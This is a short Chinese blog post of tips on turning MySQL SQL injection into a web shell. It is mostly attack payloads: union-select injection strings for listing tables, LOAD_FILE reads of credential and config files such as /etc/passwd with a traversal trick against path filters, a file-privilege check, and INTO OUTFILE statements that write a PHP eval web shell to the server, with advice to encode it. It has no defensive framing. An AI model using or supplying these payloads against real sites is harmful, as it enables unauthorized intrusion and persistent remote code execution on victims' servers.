MySQL写shell的一些tips

通过注入写shell,首先需要找到网站的绝对路径。

一、找路径

1.报错

tips:
有时候information_schema.tables不能用时,在MySQL 5.6及以上版本中可以使用以下表

1
2
?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23
?id=1' union select 1,group_concat(table_name) from mysql.innodb_index_stats where database_name=schema()%23&Submit=Submit%23

2.phpinfo

3.load_file

1
SELECT LOAD_FILE('/etc/apache2/sites-available/default');

tips:
有时候过滤了敏感路径可以试试这样:

1
SELECT LOAD_FILE('/etc/sb/../passwd');

4.数组

1
user[]=1&passwd[]=1

5.通过mysql函数 查找mysql安装目录

1
show variables like 'datadir';

二、写shell

1.获取mysql.user和文件权限

1
2
select group_concat(user,0x3a,file_priv) from mysql.user;
出现Y,这就代表你有文件权限,N就是没有

2.写shell

1
2
3
select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\Web\errors.php'
如果不成功,可能转义了。
select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\Web\\errors.php'

最好还是把内容编码下。

大爷,赏个铜板呗!